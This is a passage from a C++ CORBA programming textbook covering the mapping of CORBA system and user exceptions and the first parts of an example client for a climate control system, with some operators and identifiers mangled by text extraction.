    void                completed(CompletionStatus); 
 
    static SystemException * 
                        _downcast(Exception *); 
    static const SystemException * 
                        _downcast(const Exception *); 
   
    virtual void        _raise() = 0; 
}; 
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Note that SystemException is still an abstract base class because it has a pure virtual 
_raise function. Concrete system exceptions, such as UNKNOWN, simply inherit from 
SystemException and provide an implementation for the inherited _raise function. 
We discuss the purpose of the _raise function in more detail in Section 7.15.7. 
 
The copy constructor and assignment operator make deep copies and are provided 
because C++ exceptions must be copyable. 
       
SystemException(); 
SystemException(ULong minor, CompletionStatus status); 
 
      
The default constructor creates a system exception with a completion status of 
COMPLETED_NO and a minor code of zero, whereas the second constructor permits you 
to set the completion status and minor code at instantiation time. The constructors are of 
little interest in the client because clients have no reason to create exceptions; on the 
server side, the constructors are needed to create exceptions that can be thrown. 
       
ULong minor(); 
void minor(ULong); 
 
      
These member functions are an accessor and a modifier for the minor member of a 
system exception. As we point out in Section 4.10, CORBA does not specify the 
semantics of the minor member, so it is probably best never to use these functions 
unless you can tolerate ORB-specific code. 
       
CompletionStatus completed() const; 
void completed(CompletionStatus); 
 
      
These member functions are an accessor and a modifier for the completed member of 
a system exception. As we discuss in Section 4.10, the completed member 
indicates whether an exception was raised before or after the application code in the 
server was invoked or indicates COMPLETED_MAYBE if the client-side run time could 
not make that determination. Knowledge of whether or not an operation completed can be 
important when the client decides whether it should retry an operation. 
       
static SystemException * _downcast(Exception *); 
static const SystemException * _downcast(const Exception *); 
 
      
This operation is provided for non-standard C++ compilers that lack support for 
exceptions or run-time type identification (RTTI). For consistency, _downcast is also 
generated for standard C++ environments, even though it is not required there. 
_downcast allows you to test the dynamic type of an exception at run time: 
       
try { 
    tmstat_ref->set_nominal(500); 
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} catch (const CORBA::Exception & e) { 
    // Check what sort of exception it is... 
    const CORBA::SystemException * se; 
    if ((se = CORBA::OBJECT_NOT_EXIST::_downcast(&e)) != 0) { 
        // It is an OBJECT_NOT_EXIST exception 
    } else if ((se = CCS::BadTemp::_downcast(&e)) != 0) { 
        // It is a BadTemp exception 
    } else { 
        // It is some other exception 
    } 
    // Do not deallocate se here -- the exception 
    // still owns the memory pointed to by se. 
} 
 
      
_downcast returns a non-null pointer if the actual type of the exception matches the 
expected type of the exception and returns null otherwise. Note that the pointer returned 
from _downcast points at memory still owned by the exception, so there is no need to 
deallocate memory. 
 
There is little point in calling _downcast in an environment that supports exceptions. It 
is much easier and clearer if you simply install a catch handler for each exception type. 
Moreover, in a standard C++ environment you can also use a dynamic cast instead of 
_downcast: 
       
try { 
    tmstat_ref->set_nominal(500); 
} catch (const CORBA::Exception & e) { 
    // Check what sort of exception it is... 
    const CORBA::SystemException * se; 
    if (se = dynamic_cast<const CORBA::OBJECT_NOT_EXIST *>(&e)) { 
        // It is an OBJECT_NOT_EXIST exception 
    } else if (se = dynamic_cast<const CCS::BadTemp * >(&e)) { 
        // It is a BadTemp exception 
    } else { 
        // It is some other exception 
    } 
} 
 
      
This code does exactly the same thing as the previous example but uses RTTI instead of 
the generated _downcast function. 
 
In CORBA 2.2 and earlier ORBs, _downcast is called _narrow. There is no 
difference between the two functions other than the name. The _narrow function was 
renamed to _downcast with the CORBA 2.3 specification to avoid confusion with the 
_narrow member function for object references. 

7.15.2 Semantics of System Exceptions 
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For some system exceptions, the CORBA specification precisely states the error 
conditions that cause these exceptions to be raised. For other system exceptions, the 
specification only makes suggestions as to the circumstances in which an ORB should 
raise a particular exception. The vagueness of the specification is deliberate in these cases 
because the error conditions that must be reported can vary widely with the environment 
of an ORB. 
 
Here is a list of the CORBA system exceptions and their meanings. 
BAD_CONTEXT 
An operation can raise this exception if you invoke an operation that has an IDL 
context clause but the passed context object does not contain the values expected by 
the operation. 
BAD_INV_ORDER 
The caller has invoked operations in the wrong order. For example, an ORB can raise this 
exception if an ORB-related call is made before the ORB run time was initialized. 
BAD_OPERATION 
This indicates that an object reference denotes an existing object but that the object does 
not support the operation that was invoked. You will rarely see this exception because the 
C++ mapping makes it impossible to invoke an operation on an object that does not 
support it. However, you can get this exception if you are using the DII incorrectly or if 
the client and server have been compiled from conflicting IDL definitions (definitions 
that use the same interface names but different operations for those interfaces). 
BAD_PARAM 
A parameter passed to a call is out of range or otherwise considered illegal. Some ORBs 
raise this exception if you pass a null pointer to an operation. 
BAD_TYPECODE 
An attempt was made to transmit a malformed type code—for example, a type code with 
an invalid TCKind value (see Chapter 16). 
COMM_FAILURE 
This exception is raised if communication is lost while an operation is in progress. At the 
protocol level, the client sends a request to the server and then waits for a reply 
containing the results. If the connection drops after the client has sent the request but 
before the reply has arrived, the client-side run time raises COMM_FAILURE. 
Some ORBs incorrectly raise COMM_FAILURE instead of TRANSIENT if they cannot 
establish a connection to the server. If this is the case for your ORB, you should put 
pressure on the vendor to fix it. 
DATA_CONVERSION 
This exception indicates that the on-the-wire representation of a value could not be 
converted into its native representation or vice versa. This exception typically is raised 
for mismatches in character codesets or for failure to correctly convert between floating-
point and fixed-point representations of values. 
FREE_MEM 
The ORB run time could not deallocate memory—for example, because of heap 
corruption or because a memory segment was locked. 
IMP_LIMIT 
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This exception indicates that an implementation limit was exceeded in the ORB run time. 
There are a variety of reasons for this exception. For example, you may have reached the 
maximum number of references you can hold simultaneously in your address space, the 
size of a parameter may have exceeded the allowed maximum, or your ORB may impose 
a maximum on the number of clients or servers that can run simultaneously. Your ORB's 
documentation should provide more detail about such limits. 
INITIALIZE 
Initialization of the ORB run time failed—for example, because of a configuration error 
or because a network interface is down. 
INTERNAL 
This exception is a general catch-all for internal errors and assertion failures and typically 
indicates a bug in the ORB. 
INTF_REPOS 
The ORB has detected a failure relating to the Interface Repository (such as an Interface 
Repository that is unreachable). 
INVALID_TRANSACTION 
An operation invocation carried an invalid transaction context. This exception is raised 
only for invocations on objects that are transactional [21]. 
INV_FLAG 
This exception is raised by invocations via the Dynamic Invocation Interface if an invalid 
invocation flag is passed to the ORB by the application. 
INV_IDENT 
An IDL identifier is syntactically invalid. This exception is raised, for example, if an 
attempt is made to add an invalid identifier to the Interface Repository or if an illegal 
operation name is passed to a DII request. 
INV_OBJREF 
This exception indicates that an object reference is internally malformed. For example, 
the repository ID may have incorrect syntax or the addressing information may be invalid. 
This exception is usually raised by string_to_object if the passed string does not 
decode correctly. Some ORBs incorrectly raise this exception when they should be 
raising OBJECT_NOT_EXIST. If this is the case for your ORB, you should put pressure 
on the vendor to fix it. 
Some ORBs raise INV_OBJREF if you attempt to invoke an operation via a nil reference. 
Although raising INV_OBJREF in this case is compliant, you cannot rely on it because 
calling through a nil reference has undefined behavior (it will cause a core dump in many 
implementations). 
INV_POLICY 
A number of CORBA interfaces provide operations that allow applications to select 
desired qualities of service based on policy objects. This exception indicates that an 
inappropriate policy object was passed to an operation, or, when a set of policy objects is 
passed, that incompatible policy objects are contained in the set. 
MARSHAL 
A request or reply from the network is structurally invalid. This error typically indicates a 
bug in either the client-side or the server-side run time. For example, if a reply from the 
server indicates that the message contains 1,000 bytes but the actual message is shorter or 
longer than 1,000 bytes, the ORB raises this exception. MARSHAL can also be caused if 
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you use the DII or DSI incorrectly and pass parameter types that disagree with an 
operation's IDL definition. 
NO_IMPLEMENT 
This exception indicates that even though the operation that was invoked exists (it has an 
IDL definition), no implementation for that operation exists. NO_IMPLEMENT can, for 
example, be raised by an ORB if a client asks for an object's type definition from the 
Interface Repository (IFR), but no Interface Repository is provided by the ORB (the IFR 
is an optional CORBA component). 
NO_MEMORY 
The ORB run time ran out of memory at some stage during a call. You can check the 
completion status to see whether it happened before or after the operation was invoked in 
the server. 
NO_PERMISSION 
This exception can be raised by ORBs that provide a Security Service [21] if the caller 
has insufficient privileges to invoke an operation. 
NO_RESOURCES 
The ORB has encountered a general resource limitation. For example, the run time may 
have reached the maximum permissible number of open connections. 
NO_RESPONSE 
The DII can be used to make deferred synchronous invocations that need not block the 
caller while the invocation is in progress. NO_RESPONSE is raised if you attempt to 
retrieve the results of an invocation before the results are available. 
OBJECT_NOT_EXIST 
This exception is an authoritative indication that the reference for the request is stale 
(denotes a non-existent object). If you receive this exception, you can safely conclude 
that the reference to the object is permanently non-functional and therefore you should 
clean up any application resources (such as database entries) you may have for that object. 
OBJ_ADAPTER 
This exception is raised only on the server side. Typically, it indicates an administrative 
mismatch. For example, you may be trying to register a server under a name that is 
already used by another server. 
PERSIST_STORE 
This exception indicates a persistent storage failure, such as a corrupted or unreachable 
database. 
TRANSACTION_REQUIRED 
This exception applies only to transactional objects and is raised if an operation can be 
invoked only as part of a transaction but the caller did not establish a transaction before 
invoking the operation. 
TRANSACTION_ROLLEDBACK 
A request was not carried out because its associated transaction was rolled back. This 
exception gives clients that use transactions a chance to realize that further work inside 
the current transaction will be fruitless because the transaction has already rolled back 
(and will therefore never commit successfully). 
TRANSIENT 
TRANSIENT indicates that the ORB attempted to reach the server and failed. It is not an 
indication that the server or the object does not exist. Instead, it simply means that no 
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further determination of an object's status was possible because it could not be reached. 
TRANSIENT is typically raised if connectivity to the server cannot be established—
things may work if you try again later. 
UNKNOWN 
This exception is raised if an operation implementation raises a non-CORBA exception 
or if an operation raises a user exception that does not appear in the operation's raises 
expression. UNKNOWN is also raised if the server returns a system exception that is 
unknown to the client. This can happen if the server uses a later version of CORBA than 
the client and if new system exceptions have been added to the later version. 

7.15.3 Mapping for User Exceptions 

The IDL compiler maps each user exception to a class that derives from 
UserException. The generated class is mapped like a structure with an additional 
constructor. Here is an example: 
       
exception DidntWork { 
  long   requested; 
  long   min_supported; 
  long   max_supported; 
  string error_msg; 
}; 
 
      
This generates the following code: 
       
class DidntWork : public CORBA::UserException { 
public: 
    CORBA::Long         requested; 
    CORBA::Long         min_supported; 
    CORBA::Long         max_supported; 
    CORBA::String_mgr   error_msg; 
 
                        DidntWork(); 
                        DidntWork( 
                            CORBA::Long     requested, 
                            CORBA::Long     min_supported, 
                            CORBA::Long     max_supported, 
                            const char *    error_msg 
                        ); 
                        DidntWork(const DidntWork &); 
                        ~DidntWork(); 
    DidntWork &         operator=(const DidntWork &); 
    static DidntWork *  _downcast(CORBA::Exception *); 
}; 
 
      
As you can see, the mapping is similar to the one for structures. For each exception 
member, a corresponding public data member is generated into the class. Like structures, 
exceptions manage memory for their members, so when an exception is destroyed, the 
class recursively deallocates memory allocated to its members. 
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User exceptions get an additional constructor that accepts one parameter corresponding to 
each exception member. This constructor is useful mainly on the server side because it 
allows you to construct an exception completely within a throw statement. The 
remainder of the member functions take care of copying and assignment. 
 
Here is example code that illustrates how you can catch this exception in the client and 
print the data in the exception: 
       
try { 
    some_ref->some_op(); 
} catch (const DidntWork & e) { 
    cerr << "Didn't work:" << endl; 
    cerr << "\trequested    : " << e.requested << endl; 
    cerr << "\tmin_supported: " << e.min_supported << endl; 
    cerr << "\tmax_supported: " << e.max_supported << endl; 
    cerr << "\tmessage      : " << e.error_msg << endl; 
} 
 
      
As with system exceptions, the static _downcast member function provides safe down-
casting. You will have little reason to use _downcast; it is easier to catch the exception 
directly or, for standard C++ compilers, to use a dynamic cast (see page 313). 

7.15.4 Exception Specifications 

The C++ mapping makes it optional for an IDL compiler to generate exception 
specifications for the proxy methods invoked by the client. Consider the following IDL 
definition: 
       
exception Failed {}; 
interface Foo { 
   void can_fail() raises(Failed); 
}; 
 
      
There are two valid signatures for the can_fail function in the proxy: 
       
virtual void can_fail() = 0; 
// OR: 
virtual void can_fail() throw(CORBA::SystemException, Failed) = 0; 
 
      
In practice, it does not matter which version is generated by your IDL compiler. C++ 
does not associate any static checks with exception specifications, and the behavior 
visible to the client at run time is the same whether or not exception specifications are 
generated. 

7.15.5 Exceptions and out Parameters 



IT-SC book: Advanced CORBA® Programming with C++ 

 289

If you call an operation and that operation raises an exception, you cannot use the return 
value from the operation (after all, the operation did not return a value because it failed). 
A more subtle error occurs if you forget that variable-length out parameters are cleared 
by the mapping on entry to the call. This means that if an operation raises an exception, 
you cannot assume that variable-length out parameters will still have the same values 
they had before the call: 
       
CORBA::String_var name = CORBA::String_dup("Hello"); 
// ... 
try { 
    vf->get_name(name); 
} catch (const CORBA::SystemException &) { 
    cout << name << endl;                   // Disaster!!! 
} 
 
      
This code uses the out parameter name if an exception is raised. However, because 
name is variable-length, it is set to null by the String_out constructor when you pass 
it to the get_name function. This means that the value of name is null in the exception 
handler, and attempts to dereference it are likely to cause a core dump. 
 
In general, if an operation fails, you cannot assume that either the return value or inout 
and out parameters have defined values. Of course, in parameters are guaranteed to still 
have their original values if an operation raises an exception. 

7.15.6 ostream Insertion 

Many ORBs, as an extension to the C++ mapping, provide ostream inserters with the 
following signatures: 
       
ostream & operator<<(ostream &, const CORBA::Exception &); 
ostream & operator<<(ostream &, const CORBA::Exception *); 
 
      
The inserters permit you to insert an exception into a C++ ostream. For example: 
       
try { 
    some_ref->some_op(); 
} catch (const CORBA::Exception & e) { 
    cerr << "Got an exception: " << e < endl; 
} 
 
      
The C++ mapping does not require that an ORB provide ostream inserters for 
exceptions, so this feature is non-standard.[2] If provided, the inserters typically print the 
unqualified name of the exception, such as BAD_PARAM, or the repository ID of the 
exception, such as IDL:omg.org/CORBA/BAD_PARAM:1.0. Depending on your 
ORB, the inserters may also show the completion status and minor code for system 
exceptions. 
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[2] A future version of the C++ mapping will likely make ostream inserters a standard feature. 

If your ORB does not provide ostream inserters for exceptions, you can easily write 
your own: 
       
// Generic ostream inserter for exceptions. Inserts the exception 
// name, if available, and the repository ID otherwise. 
 
static ostream & 
operator<<(ostream & os, const CORBA::Exception & e) 
{ 
    CORBA::Any tmp; 
    tmp <<= e; 
    CORBA::TypeCode_var tc = tmp.type(); 
    const char * p = tc->name(); 
    if (*p != '\0') 
        os << p; 
    else 
        os << tc->id(); 
    return os; 
} 
 
      
This code relies on types Any and TypeCode to achieve generic insertion of exceptions; 
we discuss these features in detail in Chapters 15 and 16. 
 
You can also create overloaded ostream inserters for more derived exceptions to 
control the formatting of specific system and user exceptions (see Section 8.5.2 for an 
example). 

7.15.7 Mapping for Compilers that Lack C++ Exception Support 

CORBA defines an alternative exception mapping for compilers that lack C++ exception 
handling support. The alternative mapping adds an additional parameter to every 
operation signature. Client code explicitly must test the value of that parameter after 
every call to check whether an exception was raised. This works, but it is not nearly as 
elegant as using real C++ exceptions. 
 
By now, almost all C++ compilers support C++ exception handling even if they are not 
yet fully standard C++ compliant, so the alternative mapping is rapidly becoming 
obsolete. For this reason, we do not cover it here. If you need to use the alternative 
mapping, consult the specification [17a] for details. 
 
The Exception::_raise function we saw in Section 7.15.1 is provided for 
environments that mix old non-exception-aware code and exception handling code in the 
same binary. (This can happen if you have legacy code that does not use C++ exceptions 
and you now want to link the legacy code with exception-aware code written later.) 
_raise is implemented in the generated code as follows: 
       
void SomeException::_raise() 
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{ 
    throw *this; 
} 
 
      
The _raise function allows exception-aware code to transform an IDL exception 
received as a parameter into a real C++ exception. Unless you need to mix non-
exception-aware and exception-aware source code, you will not need to call _raise. As 
you can see from its implementation, _raise simply throws the corresponding 
exception. 
 
_raise is also useful for clients using the Dynamic Invocation Interface because it 
enables the client to rethrow an exception without knowing its precise type. 

7.16 Mapping for Contexts 

If an IDL operation uses a context clause, the corresponding C++ operation signature 
has an extra trailing parameter. For example: 
      
interface Foo { 
   string  get_name(in long id) context("USER", "GROUP", "X*"); 
}; 
 
     
This generates the following operation signature: 
      
char *  get_name(CORBA::Long id, CORBA::Context_ptr c); 
 
     
The extra parameter is a reference to a pseudo-object of type CORBA::Context. The 
Context object has methods you can call to create and modify context variables. You 
can also connect multiple context objects into hierarchies, so that objects higher in the 
hierarchy provide default values and objects lower in the hierarchy override these 
defaults. 
 
Because of the problems we outlined in Section 4.13, we do not show the mapping for 
contexts in this book. You can consult the specification [17a] for details. 

7.17 Summary 

The client-side C++ mapping provides APIs that permit clients to initialize the ORB run 
time, obtain object references, invoke operations, and handle exceptions. To preserve 
location transparency and efficiency, the client-side mapping has complex memory 
management rules for fixed- and variable-length types. The complexity of these rules can 
be overcome by judicious use of _var types, which hide much of the low-level memory 
management responsibilities from you and make errors less likely. 
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Despite its apparent complexity, the client-side mapping quickly becomes second nature. 
After a few days of programming, you will be less and less concerned with the mapping 
and handle most CORBA programming tasks as routinely as any other programming task. 
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Chapter 8. Developing a Client for the Climate 
Control System 

8.1 Chapter Overview 

This chapter presents the complete source code for a client that exercises the climate 
control system. After the introduction, Section 8.3 outlines the overall structure of the 
code. Sections 8.4 to 8.6 develop the details of the source code, and Section 8.7 
lists the source code for the complete client. Section 8.8 summarizes the advantages of 
writing clients with CORBA. 

8.2 Introduction 

We have now reached the point when we are ready to put together a complete client. 
Even though the client-side mapping contains a lot of detail and complexity, it is easy to 
write a client because judicious use of _var types removes most of the complexity. In 
addition, much of the client source is boiler-plate code that is the same for all clients. You 
can write such code once, put it in a library, and forget about it thereafter. 
 
Before you read further, you may want to review the IDL for the climate control system 
at the end of Chapter 5. 

8.3 Overall Client Structure 

The client code has the following overall structure: 
      
int 
main(int argc, char * argv[]) 
{ 
 
   try { 
       
      // Client code here... 
    
   } catch (const CORBA::Exception & e) { 
       cerr < "Uncaught CORBA exception: " < e < endl; 
       return 1; 
   } catch (...) { 
       return 1; 
   } 
   return 0; 
} 
 
     
The client code uses a main function with a try block as its body, and the entire client 
code is enclosed by that try block. This arrangement has two advantages. 
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If an operation raises a CORBA exception that was not anticipated at the point of call, the 
catch handler for CORBA::Exception prints the name of the unexpected exception 
on stderr and terminates the program with non-zero exit status. If something goes 
unexpectedly wrong, at least we see the name of the exception and get orderly 
termination of the client. Generic output of exceptions as shown relies on your ORB to 
provide an ostream inserter for exceptions as a value-added feature. If the inserter is 
not provided by your ORB, you can use the one we show in Section 7.15.6. 
 
All other exceptions are caught by the default catch handler. This has the advantage 
that we can throw any exception other than a CORBA exception from anywhere in the 
client and achieve clean termination by returning from main with non-zero exit status. 
 
In general, it is a good idea to return from main instead of calling exit or _exit. 
exit calls only global destructors, and _exit terminates the program immediately 
without calling either local or global destructors. 
 
Because destructors typically deallocate memory, "brute force" termination via exit or 
_exit causes problems in environments where resource recovery is not guaranteed by 
the operating system, such as in Windows or in an embedded system. In addition, if 
destructors are not called on program termination, memory debugging tools become less 
useful: they will report memory as still in use that otherwise would have been deallocated 
correctly. 

8.4 Included Files 

The client code begins by including some essential header files: 
      
#include    <iostream.h> 
#include    "CCS.hh"        // ORB-specific 
 
     
The interesting file here is CCS.hh. This is the header file generated by the IDL 
compiler for the client side from the CCS.idl definition file. It contains all the type 
definitions and proxy class declarations required by the C++ mapping. The exact name of 
this file is not specified by CORBA and therefore is vendor-specific. However, it is still 
easy to write vendor-independent code because most IDL compilers allow you to control 
the names of the generated files with a command-line option. 
 
If you need to write ORB-independent code and if some of your IDL compilers do not 
provide such an option, all is not lost: you can achieve the same thing by making a 
generic include file. For example, assume that the generated file name is CCS.hh for one 
vendor and is CCSTypes.hh for another vendor; also assume that you cannot influence 
the choice of names. In this case, you can create a generic include file with a fixed name 
that conditionally includes the vendor-specific header: 
      
// File: CCS_client.hh 
// Generic client-side include file for all ORBs. 
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#if defined(VENDOR_A) 
#include    "CCS.hh" 
#elif defined(VENDOR_B) 
#include    "CCSTypes.hh" 
#else 
#error "Vendor not defined" 
#endif 
 
     
This simple trick makes minor source incompatibilities an issue that affects only your 
build environment. That is better than having conditional include directives directly in 
your source files. 
 
Alternatively, you can define a macro on the compile command line, such as '-
DCCS_STUB_HDR="CCS.hh"', and then use 
      
#include CCS_STUB_HDR 
 

8.5 Helper Functions 

The client contains a number of helper functions to keep the main code logic 
comprehensible. 

8.5.1 Displaying Device Details 

Our client exercises the climate control system by making a number of state changes to 
devices and printing the updated state. This means that we need a helper function that can 
show the details of a thermometer or thermostat. We do this by defining an overloaded 
ostream inserter that prints the details of a device given an object reference: 
       
// Show the details for a thermometer or thermostat. 
 
static ostream & 
operator<(ostream & os, CCS::Thermometer_ptr t) 
{ 
 
   // Check for nil. 
   if (CORBA::is_nil(t)) { 
       os < "Cannot show state for nil reference." < endl; 
       return os; 
   } 
   
 
   // Try to narrow and print what kind of device it is. 
   CCS::Thermostat_var tmstat = CCS::Thermostat::_narrow(t); 
   os < (CORBA::is_nil(tmstat) ? "Thermometer:" : " Thermostat:") 
      < endl; 
 
   // Show attribute values. 
   CCS::ModelType_var model = t->model(); 
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   CCS::LocType_var location = t->location(); 
   os < "\tAsset number: " < t->asset_num() < endl; 
   os < "\tModel       : " < model < endl; 
   os < "\tLocation    : " < location < endl; 
   os < "\tTemperature : " < t->temperature() < endl; 
   // If device is a thermostat, show nominal temperature. 
   if (!CORBA::is_nil(tmstat)) 
       os < "\tNominal temp: " < tmstat->get_nomin al() < endl; 
   return os; 
} 
 
      
Given this helper function, the client can show the details of a thermometer or thermostat 
by inserting an object reference into an ostream. For example: 
       
CCS::Thermometer_var tmv = ...; 
CCS::Thermostat_ptr tsp = ...; 
 
// Show details of both devices. 
cout < tmv; 
cout < tsp; 
 
      
It is worthwhile to examine the implementation of this helper function in more detail. 
       
static ostream & 
operator<(ostream & os, CCS::Thermometer_ptr t) 
{ 
   // ... 
} 
 
      
Note that the formal parameter type is CCS::Thermometer_ptr. This has two 
advantages. 
 
We can pass either a _ptr reference or a _var reference to the helper function because 
_var references have an automatic conversion operator to _ptr references. 
 
We can pass either a thermometer or a thermostat reference. This is because 
Thermometer is a base interface for Thermostat, so we can pass a thermostat 
reference when a thermometer reference is expected. 
 
The first step of the helper function is to ensure that the passed reference is not nil 
because invoking an operation on a nil reference is illegal. The function then determines 
the actual type of the passed reference by calling _narrow: 
       
// Check for nil. 
if (CORBA::is_nil(t)) { 
   os < "Cannot show state for nil reference." < endl; 
   return os; 
} 
 
// Try to narrow and print what kind of device it is. 
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CCS::Thermostat_var tmstat = CCS::Thermostat::_narrow (t); 
os < (CORBA::is_nil(tmstat) ? "Thermometer:" : "Ther mostat:") 
  < endl; 
 
      
This prints the heading "Thermometer:" or "Thermostat:" depending on the actual type of 
the device. Note that we catch the return value from _narrow in a _var reference 
because _narrow returns a copy that must be released. 
 
The next few lines read and print the attribute values of the device. Because all these 
attributes are in the Thermometer base interface, it does not matter whether the passed 
reference denotes a thermometer or a thermostat. Note that we are using _var types for 
the model and location strings to avoid leaking memory: 
       
// Show attribute values. 
CCS::ModelType_var model = t->model(); 
CCS::LocType_var location = t->location(); 
os < "\tAsset number: " < t->asset_num() < endl;  
os < "\tModel       : " < model < endl; 
os < "\tLocation    : " < location < endl; 
os < "\tTemperature : " < t->temperature() < endl; 
 
      
The final remote call reads the nominal temperature of a thermostat. Because only 
thermostats support the get_nominal operation, we must invoke the operation on the 
thermostat reference we narrowed earlier. (We cannot use the thermometer reference t 
passed to the function because a thermometer proxy does not have a get_nominal 
member function.) We read the nominal temperature only if the previous call to 
_narrow succeeded—that is, if the thermostat reference is non-nil: 
       
// If device is a thermostat, show nominal temperature. 
if (!CORBA::is_nil(tmstat)) 
   os < "\tNominal temp: " < tmstat->get_nominal() < endl; 
 
      
Any of the preceding remote calls may fail and raise a system exception. If that happens, 
control is transferred to the catch handler for CORBA::Exception at the end of 
main, which prints an error message and terminates the program with non-zero exit 
status. 

8.5.2 Printing Error Exception Information 

The client code deliberately provokes BadTemp and EChange exceptions when it 
exercises the server. To show the information contained in these exceptions, we define 
another ostream inserter that prints the details of a BtData structure. (This structure is 
a member of both BadTemp and EChange exceptions, so this helper function is useful 
for both exceptions.) 
       
// Show the information in a BtData struct. 
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static ostream & 
operator<(ostream & os, const CCS::Thermostat::BtDat a & btd) 
{ 
   os < "CCS::Thermostat::BtData details:" < endl; 
   os < "\trequested    : " < btd.requested < endl; 
   os < "\tmin_permitted: " < btd.min_permitted < endl; 
   os < "\tmax_permitted: " < btd.max_permitted < endl; 
   os < "\terror_msg    : " < btd.error_msg < endl; 
   return os; 
} 
 
      
The function simply expects a reference to a BtData structure and prints each structure 
member on the specified ostream. 
 
Showing the full details of an EChange exception requires a bit more work. Recall the 
relevant IDL: 
       
// ... 
interface Thermostat : Thermometer { 
   struct BtData { 
       TempType    requested; 
       TempType    min_permitted; 
       TempType    max_permitted; 
       string      error_msg; 
   }; 
   exception BadTemp { BtData details; }; 
   // ... 
}; 
 
interface Controller { 
   // ... 
   struct ErrorDetails { 
       Thermostat          tmstat_ref; 
       Thermostat::BtData  info; 
   }; 
   typedef sequence<ErrorDetails>  ErrSeq; 
 
   exception EChange { 
       ErrSeq  errors; 
   }; 
   // ... 
}; 
// ... 
 
      
The EChange exception contains a single data member errors, which is a sequence. 
Each sequence element in turn is a structure containing the object reference of the 
thermostat that could not make a temperature change in the tmstat_ref member, 
together with the exception information returned by that thermostat's set_nominal 
operation in the info member. We define another ostream inserter that prints the 
contents of an EChange exception: 
       
// Loop over the sequence of records in an EChange exception and 
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// show the details of each record. 
 
static ostream & 
operator<(ostream & os, const CCS::Controller::EChange & ec) 
{ 
   for (CORBA::ULong i = 0; i < ec.errors.length(); i++) { 
       os < "Change failed:" < endl; 
       os < ec.errors[i].tmstat_ref;      // Overloaded < 
       os < ec.errors[i].info < endl;    // Overloaded < 
   } 
   return os; 
} 
 
The code iterates over the sequence contained in the exception. For each element, it calls 
the overloaded inserters we defined earlier to show the details and the error report for 
each thermostat whose set_nominal operation failed. 
 
We need one final helper function: set_temp. This function sets the temperature of a 
thermostat given a reference and a new temperature. set_temp prints a number of trace 
messages so that we can see what is going on. If we call set_temp with an illegal 
temperature, its catch handler prints the details of a BadTemp exception by calling the 
ostream inserter we defined previously. This allows us to monitor when an exception is 
raised and also prevents the program from terminating by unwinding the stack all the way 
back to main: 
       
// Change the temperature of a thermostat. 
 
static void 
set_temp(CCS::Thermostat_ptr tmstat, CCS::TempType new_temp) 
{ 
 
   if (CORBA::is_nil(tmstat))  // Don't call via nil reference 
       return; 
   CCS::AssetType anum = tmstat->asset_num(); 
   try { 
       cout < "Setting thermostat " < anum 
            < " to " < new_temp < " degrees." < endl; 
       CCS::TempType old_nominal = tmstat->set_nominal(new_temp); 
       cout < "Old nominal temperature was: " 
            < old_nominal < endl; 
       cout < "New nominal temperature is: " 
            < tmstat->get_nominal() < endl; 
   } catch (const CCS::Thermostat::BadTemp & bt) { 
       cerr < "Setting of nominal temperature failed." < endl; 
       cerr < bt.details < endl;             // Overloaded < 
   } 
} 

8.6 The main Program 
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The client main consists of initialization code and the code to interact with the climate 
control system. For this example, the client exercises the various IDL operations to test 
the functionality of the server. 

8.6.1 Initialization 

Writing the initialization code in the client is a trivial task. The first step is to initialize 
the ORB: 
       
int 
main(int argc, char * argv[]) 
{ 
   try { 
       // Initialize the ORB 
       CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
      
Note that orb is a _var reference so that we will correctly release the pseudo-reference 
returned from ORB_init. 
The next step is to convert the stringified reference to the controller that is passed on the 
command line and to narrow it to CCS::Controller: 
       
       // Check arguments 
       if (argc != 2) { 
           cerr < "Usage: client IOR_string" < endl; 
           throw 0; 
       } 
        
       // Get controller reference from argv 
       // and convert to object. 
       CORBA::Object_var obj = orb->string_to_object (argv[1]); 
       if (CORBA::is_nil(obj)) { 
           cerr < "Nil controller reference" < endl; 
           throw 0; 
       } 
        
       // Try to narrow to CCS::Controller. 
       CCS::Controller_var ctrl; 
       try { 
           ctrl = CCS::Controller::_narrow(obj); 
       } catch (const CORBA::SystemException & se) { 
           cerr < "Cannot narrow controller reference: " 
                < se < endl; 
           throw 0; 
       } 
       if (CORBA::is_nil(ctrl)) { 
           cerr < "Wrong type for controller ref." < endl; 
           throw 0; 
       } 
 
      
Note that there are two tests for nil here: one before the call to _narrow and a second 
one following it. If the first test fails, we know that the original stringified reference 
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passed on the command line was a nil reference. If the second test fails, we know that the 
original reference was non-nil but that its type was not CCS::Controller. 
 
Also note that if we detect an error here, we deal with the error condition in a catch 
handler and then throw zero. That causes program termination via the handler at the end 
of main. 

8.6.2 Interacting with the Server 

At this point, the client holds an active reference to the controller object and can start 
interacting with the server via the reference. The first step is to retrieve the complete list 
of devices from the controller and to show the details for each of them: 
       
       // Get list of devices 
       CCS::Controller::ThermometerSeq_var list = ctrl->list(); 
        
       // Show number of devices. 
       CORBA::ULong len = list->length(); 
       cout < "Controller has " < len < " device"; 
       if (len != 1) 
           cout < "s"; 
       cout < "." < endl; 
        
       // If there are no devices at all, we are finished. 
       if (len == 0) 
           return 0; 
        
       // Show details for each device. 
       for (CORBA::ULong i = 0; i < list->length(); i++) 
           cout < list[i]; 
       cout < endl; 
 
      
Note that the sequence of references returned from the list operation is a variable-
length type, and we use the _var type for the sequence to ensure that the return value 
will be deallocated. The code then shows the total number of devices in the sequence on 
stdout. This calls the ostream inserter we defined earlier, which in turn retrieves the 
details of the device from the server. 
 
The next step is to update the location attribute of whatever device happened to be 
returned as the first sequence element: 
       
       // Change the location of first device in the list 
       CCS::AssetType anum = list[0]->asset_num(); 
       cout < "Changing location of device " 
            < anum < "." < endl; 
       list[0]->location("Earth"); 
       // Check that the location was updated 
       cout < "New details for device " 
            < anum < " are:" < endl; 
       cout < list[0] < endl; 
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The statement 
       
anum = list[0]->asset_num(); 
 
      
makes a remote call to read the asset number of the device, and the statement 
       
list[0]->location("Earth"); 
 
      
updates the location attribute to the string "Earth". We then print the details for the 
first device once more so that we can see that the updated location is now returned by the 
server. 
 
The next step is to change the temperature of a thermostat to a legal and then an illegal 
value. To do this, we must first locate a thermostat because only thermostats support a 
set_nominal operation: 
       
       // Find first thermostat in list. 
       CCS::Thermostat_var tmstat; 
       for (   CORBA::ULong i = 0; 
               i < list->length() && CORBA::is_nil(tmstat); 
               i++) { 
           tmstat = CCS::Thermostat::_narrow(list[i]); 
       } 
 
      
This loop iterates over the sequence returned from list and attempts to narrow each 
reference on the list. The first successful narrow causes the loop to terminate, leaving the 
reference to the first thermostat on the list in the variable tmstat. 
 
